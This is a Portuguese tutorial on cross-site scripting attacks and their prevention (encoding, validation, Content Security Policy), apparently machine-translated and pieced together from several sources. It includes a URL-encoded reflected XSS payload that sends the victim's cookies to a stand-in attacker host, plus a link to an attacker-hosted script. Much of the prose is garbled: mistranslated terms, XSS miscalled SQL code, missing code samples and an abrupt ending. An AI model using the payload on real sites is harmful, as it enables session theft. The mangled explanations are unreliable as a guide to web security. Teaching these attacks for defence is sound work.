Usando vulnerabilidades XSS para o máximo. Ataques XSS: Quais são eles e quais são o treinamento de ataque do XSS perigoso

Através de XSS, atacantes experientes integram-se nas páginas de sites de site trabalhando neles scripts realizados no momento da visita de recursos infectados. Existem vários tipos de vulnerabilidades XSS representando um grau diferente de perigo.

Características da vulnerabilidade passiva e ativa

Vale a pena tratar a vulnerabilidade ativa. Quando um invasor implementa seu código SQL em um banco de dados ou arquivo acessível ao servidor, cada visitante do recurso infectado pode ser uma vítima. Esses lugares são frequentemente integrados, portanto, até mesmo os dados processados \u200b\u200bpor dados armazenados no banco de dados podem continuar a representar um certo perigo.

Criar uma vulnerabilidade de XSS passiva requer um invasor de uma certa engenhosidade. Ou você é atraído em um recurso submarino com todos os tipos de referências, ou eles estão tentando alguma maneira de encaminhar o site necessário. Isso geralmente acontece através de letras da administração fictícia da página que você visita, com as solicitações para verificar as configurações da conta. Também usou ativamente uma variedade de boletins ou posts de spam em fóruns amplamente visitados.

A vulnerabilidade Passive XSS pode prosseguir de ambos os postes e dos parâmetros Get. Para o primeiro, vários truques diferentes são caracterizados, para o segundo - a codificação da linha URL está inserindo valores adicionais.

Cookies sequestrando

Na maioria das vezes, são seus cookies que são o objetivo do ataque XSS. Às vezes há informações valiosas nelas, incluindo logins de usuário e senhas ou seu hash. Mas é suficiente e cometer roubo de sites importantes de sessões ativas para você, então não se esqueça de pressionar o botão "Saída" mesmo quando visitar sites de um computador doméstico. Embora a maioria dos recursos para evitar tais ações use a restrição automática da duração da sessão. As limitações de domínio do XMLHTtPrequest de tais ataques não salvam.

Dados de formulários cheios

Evidores popularidade e ler informações na forma preenchida. Para fazer isso, em causar interesses, a execução de eventos está em execução (Onsubmit), e todos os dados fornecidos também são enviados para os servidores atacantes. Tais ataques são largamente semelhantes ao phishing, mas o roubo não está na falsificação, mas no site real com uma boa reputação.

Ataques DDOS distribuídos.

Para ataques através de XSS, os recursos multi-transmitidos são usados. Graças à vulnerabilidade XSS, os pedidos de encaminhamento chegando a eles para o servidor rachado, como resultado da qual sua proteção não suporta.

Solicitações de intersight falsas (CSRF / XSRF)

Eles também têm pouco em comum com o XSS. Esta é uma variedade separada de vulnerabilidades usadas em conjunto com o XSS. Seu objetivo é trazer um usuário autorizado de um site invulnerável para uma página submarina vulnerável para operações fraudulentas. Por exemplo, um cliente usando um sistema de pagamento eletrônico é atraído para um site vulnerável que transfere dinheiro para contas de intrusos. Portanto, na maioria dos sistemas de pagamento, a proteção fornece senha inserida adicional ou confirmando a operação de código.

Introdução de vermes XSS

Tal ataque de XSS no site apareceu com o desenvolvimento de famosas redes sociais (Vkontakte, Twitter e outros). Através deles, grupos inteiros de usuários recebem links XSS vulneráveis \u200b\u200bcom scripts integrados que enviam redes de spam de seus nome. Também amplamente praticado e passa pela informação pessoal e fotografias sobre os recursos dos intrusos.

Exemplos de xss inócuos

Observe que muitos tipos de medidores também executam a função de XSS ativos. Eles estão sendo transferidos para dados sobre o registro de visitantes (seus endereços IP, dados sobre o equipamento usado).

Somente este código se integra em seu computador por conta própria. Para outros XSs semelhantes, você pode atribuir com segurança uma série de consultas crossdomain AJAX.

Scripts transversais ou xss. Scripts transversais (execução intersight de cenários).

A presença da vulnerabilidade de scripts transversais permite que o invasor envie o código executável para o servidor, que será redirecionado para o navegador do usuário. Este código é normalmente criado em HTML / JAVASCRIPT, mas VBScript, ActiveX, Java, Flash ou outra tecnologia suportada pelo navegador pode ser usada.

O código transmitido é executado no contexto de segurança (ou zona de segurança) do servidor vulnerável. Usando esses privilégios, o código recebe a capacidade de ler, modificar ou transmitir dados importantes disponíveis usando um navegador. No usuário atacado, pode ser comprometido pela Adquint (roubo de cookie), seu navegador pode ser redirecionado para outro servidor ou o conteúdo do servidor é substituído. Como resultado de um ataque cuidadosamente planejado, um invasor pode usar o navegador da vítima para visualizar as páginas do site em nome do usuário atacado. O código pode ser transmitido por um invasor no URL, nas manchetes e na estrutura do protocolo de consulta HTTP (cookie, agente do usuário, refferer), os valores dos campos do formulário, etc.

Existem três tipos de ataques que levam à execução do intersight de cenários: não persistente não permanente (refletido), constante persistente. (Salvo) e Dom baseado. A principal diferença entre persistente e não persistente é que, na versão refletida, a transmissão do servidor de código e o retorno a seu cliente é realizada dentro de uma única solicitação HTTP e no armazenado - em diferentes.

A implementação do ataque não permanente requer que o usuário mude sobre o link formado pelo atacante (o link pode ser transferido por e-mail, ICQ, etc.). No processo de baixar o site, o código incorporado na URL ou nos cabeçalhos de consulta será transferido para o cliente e é feito em seu navegador.

A variação preservada da vulnerabilidade ocorre quando o código é transmitido ao servidor e persiste por algum tempo. Os alvos mais populares de ataques neste caso são fóruns, correio com a interface da web e salas de bate-papo. Para ataque, o usuário não precisa passar pelo link, basta visitar o site vulnerável.

    Exemplo. Salvo (persistente) uma opção de ataque. Muitos sites têm placas de boletim e fóruns que permitem que os usuários deixem as mensagens. O usuário registrado é normalmente identificado por número

sessões salvas no cookie. Se o invasor deixar uma mensagem contendo o código no JavaScript, ele receberá acesso ao identificador da sessão do usuário. Exemplo de código de cookie:

    Exemplo. Refletido (não persistente) uma opção de ataque. Muitos servidores fornecem aos usuários a capacidade de procurar conteúdo do servidor. Como regra, a solicitação é transmitida ao URL e está contida na página resultante.

Por exemplo, ao alternar para URL http: //portal.example/search? Q \u003d "cerveja fresca" O usuário será exibido a página contendo os resultados da pesquisa e frase: "0 páginas encontradas em sua solicitação." Se o JavaScript for transferido como uma frase desejada, ele será executado no navegador do usuário. Exemplo:

Http: //portal.example/search/? Q \u003d

Codificação UrlenCode pode ser usada para ocultar o código de script

Http: //portal.example/index.php? SessionID \u003d 12312312 & nome de usuário \u003d% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D 65% 6E% 74 % 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D 3D 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65 % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 65% 78% 63% 65% 2F% 63% 67% 69% 69% 69% 6F% 6F % 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 62% 63% 75% 62% 65% 63% 74% 2E% 63 % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

Flangan David Javascript.

Excerto do livro Flangan David Javascript Guia completo 5 Edição.

O termo scripts transversais (cruzando scripts) ou XSS, refere-se à área de vulnerabilidade do computador quando o invasor introduz tags ou scripts HTML para documentos em um site vulnerável. Organização de proteção contra ataques XSS - uma coisa comum para webburdenries Na criação de cenários de servidor. No entanto, os programadores desenvolvendo os scripts JavaScript do cliente também devem saber sobre ataques XSS e tomar medidas para proteger contra eles.

A página da Web é considerada vulnerável a ataques XSS se ele criar dinamicamente o conteúdo de um documento com base nos dados do usuário que não passou o processamento preliminar para remover o código HTML integrado. Como exemplo trivial, considere a seguinte página da Web que usa o script JavaScript para receber o usuário por nome:

Na segunda linha do script, o método Window.Search.Substring é chamado, com qual parte da barra de endereço é recuperada, começando com o símbolo?. Em seguida, usando o método document.write (), um conteúdo de documento gerado dinamicamente é adicionado. Esse script sugere que o acesso à página da Web será feito aproximadamente um endereço de URL:

Http://www.example.com/greet.html?name\u003dDavid.

Nesse caso, o texto "Hi David" será exibido. Mas o que acontece se a página for solicitada usando o próximo endereço de URL:

Http://www.example.com/greet.html?name\u003d%3cscript%3ealert ("David ')% 3C / script% 3e.

Com tal conteúdo, o script de endereço de URL gera dinamicamente outro script (códigos% 3C e% 3E são suportes angulares)! Nesse caso, o script inserido simplesmente exibe uma caixa de diálogo que não representa qualquer perigo. Mas imagine tal caso:

Http: //sitea/greet.html? Nome \u003d% 3cscript src \u003d siteb / mal.js% 3E% 3c / script% 3e

O script transversal é porque mais de um site participa do ataque. O site B (ou mesmo o site C C) inclui um link especialmente projetado (semelhante a apenas mostrado) ao site A, que contém um script do site B. Evil.js script está localizado no site do atacante b, mas agora Esse cenário acaba por ser implementado no site A e pode fazer tudo o que ele está satisfeito com o conteúdo do site A. Ele pode apagar a página ou chamar outras violações no site do site (por exemplo, recusar-se a manter, conforme descrito na próxima seção). Pode afetar adversamente os visitantes do site A. Muito mais perigoso que tal cenário malicioso pode ler o conteúdo dos cookies armazenados no site A (possivelmente contendo números de conta ou outras informações pessoais) e envie esses dados de volta para o site B . Um script incorporado pode até mesmo rastrear pressionamentos de tecla e enviar esses dados no site B.

O método universal de impedir que o XSSS é remover tags HTML de todos os dados de origem duvidosa antes de usá-los para criar dinamicamente o conteúdo do documento. Para corrigir esse problema no arquivo anteriormente mostrado Greet.html, você precisa adicionar a próxima linha ao script, que é projetado para remover os colchetes em torno da tag". Qualquer usuário que visitou a página agora receberá a seguinte resposta:


Último comentário:

Quando o navegador do usuário carrega a página, ele executará tudo, incluindo o código JavaScript contido dentro das tags . Isso sugere que a simples presença do script implementada pelo invasor é um problema, independentemente de qual código de script particular é realmente executado.

Parte dois: XSS-Attack

XSS Ataque participantes.

Antes de descrever como descrever detalhadamente como o ataque XSS funciona, precisamos identificar os assuntos do ataque XSS. Em geral, no ataque XSS existem três participantes: local na rede Internet, vítima, EU. assaltante.

  • Local na rede Internet Dá páginas HTML para usuários que os solicitaram. Em nossos exemplos, ele está localizado em http: // site /.
    • Banco de dados do site. É um banco de dados que armazena alguns dados inseridos pelos usuários nas páginas do site.
  • Vítima - Este é um usuário regular de um site que solicita páginas com seu navegador.
  • Atacante - Este é um atacante que pretende iniciar um ataque para a vítima através do uso da vulnerabilidade do XSS no site.
    • Servidor de assaltante - Este é um servidor da Web sob o controle de um invasor com o único propósito - roubo de informações de vítimas confidenciais. Em nossos exemplos, ele está localizado em http: // atacante /.

Exemplo de atacação de cenários

Esse script criará uma solicitação HTTP para outro URL, que redirecionará o navegador do usuário para o servidor de atacante. O URL inclui cookies de vítima como um parâmetro de consulta quando uma solicitação HTTP chega ao servidor do invasor, um invasor pode extrair esses cookies a partir da solicitação. Depois que o atacante recebeu cookies, ele pode usá-los para se entregar ao sacrifício e iniciar um ataque subseqüente.

A partir deste ponto no código HTML mostrado acima será chamado string maliciosa ou roteiro malicioso. É importante entender que a corda em si só é maliciosa se for processada como um código HTML no navegador da vítima, e isso pode ocorrer apenas se a vulnerabilidade do XSS estiver disponível no site.

Como esse exemplo funciona?

O esquema abaixo mostra um exemplo de um ataque por um invasor:

  1. O invasor usa uma das formas do site para inserir uma seqüência maliciosa para o banco de dados do site.
  2. A vítima pede à página do site.
  3. O site inclui uma cadeia maliciosa do banco de dados em resposta e envia para a vítima.
  4. O navegador da vítima realiza um cenário malicioso dentro da resposta, enviando vítimas para o servidor de atacante.

Tipos XSS.

O objetivo do ataque do XSS está sempre na execução de um script javascript malicioso no navegador da vítima. Existem várias maneiras fundamentalmente diferentes para atingir esse objetivo. Os ataques XSS são frequentemente divididos em três tipos:

  • Armazenado (permanente) xssonde seqüência maliciosa se origina do banco de dados do site.
  • Refletido (não permanente) XSSonde a cadeia maliciosa é gerada a partir do pedido da vítima.
  • XSS Dom Models.onde a vulnerabilidade ocorre no código no lado do cliente, e não na lateral do código do servidor.

No exemplo anterior, o ataque xss armazenado é mostrado. Agora descrevemos dois outros tipos de ataques XSS: refletidos XSS e XSS-Ataque Dom Models.

Refletido XSS.

No caso de um ataque XSS refletido, uma string maliciosa faz parte da solicitação da vítima para o site. O site recebe e insere essa string maliciosa para o usuário enviada ao usuário. O esquema abaixo ilustra este script:

  1. A vítima envia fraudulentamente a solicitação de URL para o site.
  2. O site inclui uma seqüência maliciosa da consulta de URL em resposta à vítima.
  3. O navegador da vítima realiza um cenário malicioso contido na resposta, enviando vítimas para o Inscruder Server.

Como realizar com sucesso um ataque XSS refletido?

O ataque XSS refletido pode parecer inofensivo, pois requer a vítima do nome dele para enviar um pedido contendo uma string maliciosa. Como ninguém se atacará voluntariamente, parece que não há como a execução real do ataque.

Como acontece, há pelo menos duas maneiras comuns de fazer o sacrifício para iniciar um ataque de XSS refletido contra si mesmo:

  • Se o usuário for uma personalidade específica, um invasor pode enviar um URL malicioso para a vítima (por exemplo, usando e-mail ou mensageiro) e enganar para forçá-lo a abrir um link para visitar o site.
  • Se um objetivo é um grupo grande de usuários, um invasor pode publicar um link para um URL malicioso (por exemplo, em seu próprio site ou em uma rede social) e aguardar os visitantes que vão no link.

Ambos os métodos são semelhantes, e ambos podem ser mais bem sucedidos usando serviços para "encurtar" o URL, eles disfarçam a string maliciosa dos usuários que poderiam identificá-lo.

XSS no modelo DOM

O XSS no modelo DOM é uma opção como um ataque XSS armazenado e refletido. Neste ataque XSS, a cadeia maliciosa não é processada pelo navegador da vítima, até que o Real Javascript do site seja executado. O esquema abaixo ilustra este script para ataques XSS refletidos:

  1. O atacante cria um URL contendo uma corda maliciosa e envia para a vítima.
  2. A vítima é fraudulenta pelo invasor envia a solicitação de URL para o site.
  3. O site recebe uma solicitação, mas não inclui uma string maliciosa em resposta.
  4. O navegador da vítima executa um script legítimo contido na resposta, como resultado do qual o script prejudicial será inserido na página.
  5. O navegador da vítima executa um script malicioso inserido na página, enviando os cookies da vítima para o servidor Intruder.
Qual é a diferença entre o XSS no modelo DOM?

Em exemplos anteriores de ataques XSS armazenados e refletidos, o servidor insere um script malicioso para a página, que é enviado em resposta à vítima. Quando o navegador da vítima recebeu uma resposta, ele assume que o script malicioso faz parte do conteúdo legítimo da página e o executa automaticamente durante o carregamento da página, bem como qualquer outro cenário.

No exemplo de ataques XSS no modelo DOM, o script malicioso não é inserido como parte da página; O único script que é executado automaticamente durante a carga da página é uma parte legítima da página. O problema é que este cenário legítimo usa diretamente a entrada do usuário para adicionar HTML à página. Como a cadeia maliciosa é inserida na página usando Innerhtml, ela é analisada como HTML, como resultado do qual o script prejudicial será realizado.

Esta distinção é pequena, mas muito importante:

  • No XSS tradicional, o javascript malicioso é realizado quando a página é carregada, como parte do HTML enviado pelo servidor.
  • No caso de XSS no modelo DOM, o javascript malicioso é realizado após o carregamento da página, como resultado, esta página com um javascript legítimo é referida como uma maneira insegura da entrada do usuário (contendo uma string maliciosa).
Como os Xss funcionam no modelo DOM?

No exemplo anterior, não há necessidade de javascript; O servidor pode gerar todos os HTML por si só. Se o código no lado do servidor não contiver vulnerabilidades, o site não estará sujeito a vulnerabilidades do XSS.

No entanto, uma vez que os aplicativos da Web estão se tornando mais avançados, uma quantidade crescente de páginas HTML é gerada usando o JavaScript no lado do cliente e não no servidor. A qualquer momento, o conteúdo deve mudar sem atualizar a página inteira, é possível usar o JavaScript. Em particular, este é o caso quando a página é atualizada após a consulta AJAX.

Isso significa que as vulnerabilidades do XSS podem estar presentes não apenas na parte do servidor do código do seu site, mas também na lateral do código JavaScript do cliente do seu site. Consequentemente, mesmo com um código totalmente seguro no lado do servidor, o código do cliente ainda pode ser ativado com segurança para inserir dados do usuário ao atualizar o DOM após o download da página. Se isso acontecer, o código do cliente permitirá que o ataque XSS não seja culpa do código do lado do servidor.

XSS com base no modelo DOM pode ser invisível para o servidor

Há um caso especial de ataques XSS em um modelo DOM em que uma string maliciosa nunca é enviada para o servidor do site: isso acontece quando a corda maliciosa está contida no fragmento do identificador de URL (algo após o símbolo #). Os navegadores não enviam essa parte do URL para o servidor, para que o site não tenha acesso a ele usando o código no lado do servidor. O código do cliente, no entanto, tem acesso a ele e, portanto, é possível realizar um ataque XSS pelo processamento inseguro.

Este caso não está limitado ao identificador de fragmentos. Há também outra entrada de usuário que é invisível para o servidor, por exemplo, novas funções HTML5, como localStoreage e indexeddb.

Parte TRÊS:
Prevenção de XSS.

Métodos de prevenção do XSS.

Lembre-se de que o XSS é um ataque do tipo de implantação de código: o usuário digitado pelo usuário é interpretado erroneamente como um código de programa malicioso. Para evitar esse tipo de injeção de código, é necessário o processamento de entrada seguro. Para um desenvolvedor da Web, existem duas maneiras fundamentalmente diferentes para realizar processamento de entrada seguro:

  • Codificação - Esta é uma maneira que permite inserir dados pelo usuário apenas como dados e não permite o processamento do navegador como código.
  • Validação - Este método filtra a entrada do usuário para que o navegador o interpreta como um código sem comandos maliciosos.

Embora estes sejam fundamentalmente diferentes métodos de prevenção de XSS, eles têm vários traços gerais que são importantes para a compreensão ao usar qualquer um deles:

O processamento de entrada seguro do contexto deve ser feito de maneira diferente, dependendo de onde a entrada do usuário é usada na página. O processamento de entrada seguro de entrada / saída pode ser realizado quando seu site recebe dados de entrada (tráfego de entrada) ou diretamente antes que o site insere uma entrada personalizada no conteúdo da página (saída). O processamento de entrada seguro do cliente / servidor pode ser executado no lado do cliente ou no lado do servidor, cada opção é necessária sob diferentes circunstâncias.

Antes de explicar nos detalhes como o código de codificação e validação, descrevemos cada um desses itens.

Processando a entrada do usuário em contextos

Existem muitos contextos em uma página da Web onde a entrada personalizada pode ser aplicada. Regras especiais devem ser atendidas para cada uma delas para que a entrada do usuário não possa "sair" do seu contexto e não puder ser interpretada como um código malicioso. Abaixo estão os contextos mais comuns:

Qual é o significado dos contextos?

Em todos os contextos descritos, a vulnerabilidade que leva a XSS pode ocorrer se o usuário digitado pelo usuário tiver sido inserido na primeira codificação ou validação. Um invasor pode introduzir um código malicioso, simplesmente inserindo um separador de fechamento para este contexto e, após o código malicioso.

Por exemplo, se em algum momento o site incluir entrada de dados pelo usuário diretamente no atributo HTML, o invasor poderá implementar um script malicioso, iniciando sua entrada de cotação conforme mostrado abaixo:

Isso pode ser impedido, simplesmente removendo todas as citações na entrada do usuário, e tudo ficaria bem, mas apenas neste contexto. Se a entrada foi inserida em outro contexto, o separador de fechamento será diferente e a injeção se tornará possível. Por este motivo, o processamento seguro de entrada deve ser sempre adaptado ao contexto em que a entrada do usuário será inserida.

Processamento de entrada de usuário recebida / saída

Instintivo, pode parecer que os Xss podem ser impedidos pela codificação ou validando toda a entrada do usuário, assim que nosso site a recebe. Assim, quaisquer linhas maliciosas já serão neutralizadas sempre que estiverem incluídas na página, e os scripts de geração HTML não precisam cuidar do processamento seguro da entrada do usuário.

O problema é que, como descrito anteriormente, pelo usuário digitado pelo usuário, pode ser inserido em vários contextos na página. E não há uma maneira simples de determinar quando a entrada do usuário vem no contexto - como eventualmente será inserido, e a mesma entrada de usuário deve ser inserida em diferentes contextos. Confiando no processamento da entrada de entrada para evitar o XSS, criamos uma solução muito frágil que estará sujeita a erros. (O php "desatualizado" Magic "é um exemplo de tal solução.)

Em vez disso, o processamento de entrada de saída deve ser sua linha de proteção principal a partir do XSS, porque ele pode levar em conta o contexto específico, que o usuário inserido pelo usuário será inserido. Até certo ponto, a validação de entrada pode ser usada para adicionar uma camada de proteção secundária, mas isso depois.

Onde é possível realizar processamento seguro de entrada do usuário

Na maioria dos aplicativos da Web modernos, a entrada do usuário é processada, tanto na lateral do código do servidor quanto no lado do código do cliente. Para proteger contra todos os tipos de XSS, o processamento seguro de entrada deve ser executado tanto no código no lado do servidor quanto no lado do código do cliente.

  • Para proteger contra o XSS tradicional, o processamento seguro de entrada deve ser executado no código no lado do servidor. Isso é feito com um idioma suportado pelo servidor.
  • Para proteger contra o ataque XSS no modelo DOM, onde o servidor nunca recebe uma string maliciosa (por exemplo, o ataque descrito anteriormente através do fragmento do identificador), o processamento seguro de entrada deve ser executado no código no lado do cliente. Isso é feito com javascript.

Agora, quando explicamos por que o contexto é importante, por que a diferença entre o processamento de entrada de entrada e saída é importante, e por que o processamento seguro de entrada deve ser feito em ambos os lados e no lado do cliente e no lado do servidor, podemos continuar a explicar Como dois tipos de processamento de entrada seguro (codificação e validação) são realmente executados.

Codificação

Codificação é uma saída da situação quando é necessário que o navegador de entrada do usuário interpreta apenas como dados e não code. O tipo mais popular de codificação no desenvolvimento da Web é o HTML de mascaramento que converte caracteres como < e > dentro < e > respectivamente.

O seguinte pseudocódigo é um exemplo de como o usuário digitado pelo usuário (ENTER CUSTOM) pode ser codificado usando o mascaramento HTML e inserido na página usando o cenário do servidor:

impressão " "
Impressão. "Último comentário:"
Imprimir EncodeHTML (userInput)
Impressão ""

Se o usuário entrar na seguinte linha O HTML resultante ficará assim:


Último comentário:

Como todos os símbolos com valores especiais foram disfarçados, o navegador não desmontará qualquer parte da entrada do usuário como HTML.

Código de codificação no lado do cliente e no servidor

Ao codificar o código de codificação do cliente, uma linguagem JavaScript é sempre usada, que possui funções internas que codificam dados para diferentes contextos.

Ao executar codificar em seu código no lado do servidor, você confia nos recursos disponíveis em seu idioma ou framework. Devido ao grande número de idiomas e frameworks disponíveis, este tutorial não cobrirá os detalhes de codificação em qualquer servidor ou estrutura específica. No entanto, as funções de codificação do JavaScript usadas no lado do cliente também são usadas ao escrever o código no lado do servidor.

Codificação no lado do cliente

Ao codificar uma entrada de cliente personalizada usando JavaScript, existem vários métodos e propriedades internos que codificam automaticamente todos os dados em estilo dependente de contexto:

O último contexto já mencionado acima (valores em javascript) não está incluído nesta lista, porque o JavaScript não fornece um método de codificação de dados integrado, que será ativado no código-fonte do JavaScript.

Restrições de codificação

Mesmo ao codificar, é possível usar linhas maliciosas em alguns contextos. Um exemplo brilhante disso é quando a entrada do usuário é usada para fornecer a URL, por exemplo, no exemplo abaixo:

document.queryselector ("A"). HREF \u003d userInput

Embora o valor especificado na propriedade do elemento HREF o codifique automaticamente para que ele se torne não mais do que o valor do atributo, isso em si não interfere com o invasor inserir um URL começando com "JavaScript:". Quando você clica no link, independentemente da construção, o javascript integrado dentro do URL será executado.

O codificação também não é uma solução eficaz quando você deseja que os usuários usem parte dos códigos HTML na página. Um exemplo é a página de perfil do usuário, onde o usuário pode usar o HTML do usuário. Se este HTML usual estiver codificado, a página de perfil poderá consistir apenas em texto simples.

Em tais situações, a codificação deve ser complementada pela validação com a qual conheceremos mais.

Validação

A validação é um ato de filtrar a entrada do usuário para que todas as peças maliciosas sejam removidas sem a necessidade de remover todo o código nele. Um dos tipos mais utilizados de verificação no desenvolvimento da Web permite que você use alguns elementos HTML (por exemplo, e ) Mas forboving outros (por exemplo,

Com uma política csp adequadamente específica, o navegador não pode baixar e executar maliciosos-script.js porque http: // atacante / não especificado como uma fonte confiável. Mesmo que o site falhasse seguramente, processasse a entrada do usuário neste caso, a política do CSP previnava vulnerabilidade e causando algum dano.

Mesmo que o atacante injetado pelo código dentro do código do cenário, e não por referência ao arquivo externo, a política CSP configurada corretamente também desativará a injeção no código JavaScript impedindo a vulnerabilidade e causar qualquer dano.

Como habilitar o CSP?

Por padrão, os navegadores não usam o CSP. Para habilitar o SCP em seu site, as páginas devem conter um cabeçalho HTTP adicional: a política de segurança-conteúdo. Qualquer página contendo este título aplicará políticas de segurança ao inicializar um navegador, desde que o navegador suporta o CSP.

Como a política de segurança é enviada com cada resposta HTTP, é possível instalar individualmente uma política no servidor individualmente para cada página. A mesma política pode ser aplicada a todo o site, inserindo o mesmo cabeçalho CSP em cada resposta.

O conteúdo no cabeçalho da política de segurança de conteúdo contém uma string definindo uma ou mais políticas de segurança que funcionarão em seu site. A sintaxe desta string será descrita abaixo.

Exemplos de cabeçalhos Esta seção usa a transferência de linhas e recuos para simplicidade de percepção; Eles não devem estar presentes no cabeçalho atual.

Sintaxe do CSP.

A sintaxe do cabeçalho CSP é assim:

Política de segurança-segurança:
diretiva expressão de fonte., expressão de fonte., ...;
diretiva ...;
...

Esta sintaxe consiste em dois elementos:

  • Directivas (directivas) Apresentando linhas indicando o tipo de recurso retirado da lista especificada.
  • Expressões de origem É um modelo que descreve um ou mais servidores de onde os recursos podem ser baixados.

Para cada diretiva, os dados na expressão de origem determinam quais fontes podem ser usadas para carregar os recursos do tipo apropriado.

Diretiva

As diretivas a seguir podem ser usadas no cabeçalho CSP:

  • connect-src.
  • fonte-src.
  • quadro-src.
  • iMG-SRC.
  • media-SRC.
  • objeto-src.
  • script-src.
  • estilo-src.

Além disso, a Diretiva Especial Padrão-SRC pode ser usada para garantir o valor padrão para todas as diretrizes que não foram incluídas no título.

Expressão da fonte

A sintaxe para criar uma expressão da fonte é a seguinte:

protocolo: // Nome do host: Número da porta

O nome do host pode começar *, Isso significa que qualquer subdomínio do nome do host fornecido será resolvido. Da mesma forma, o número da porta pode ser representado como *, isso significa que todas as portas serão resolvidas. Além disso, o protocolo e o número da porta podem ser perdidos. Se o protocolo não for especificado, a política exigirá que todos os recursos sejam carregados usando HTTPS.

Além da sintaxe acima, a expressão de origem pode ser uma das quatro palavras-chave com um valor especial (citações incluídas) como alternativa:

"Nenhum" proíbe recursos. "Eu" permite aos recursos do host no qual a página da Web está localizada. "Inline inseguro" permite aos recursos contidos na página como embutido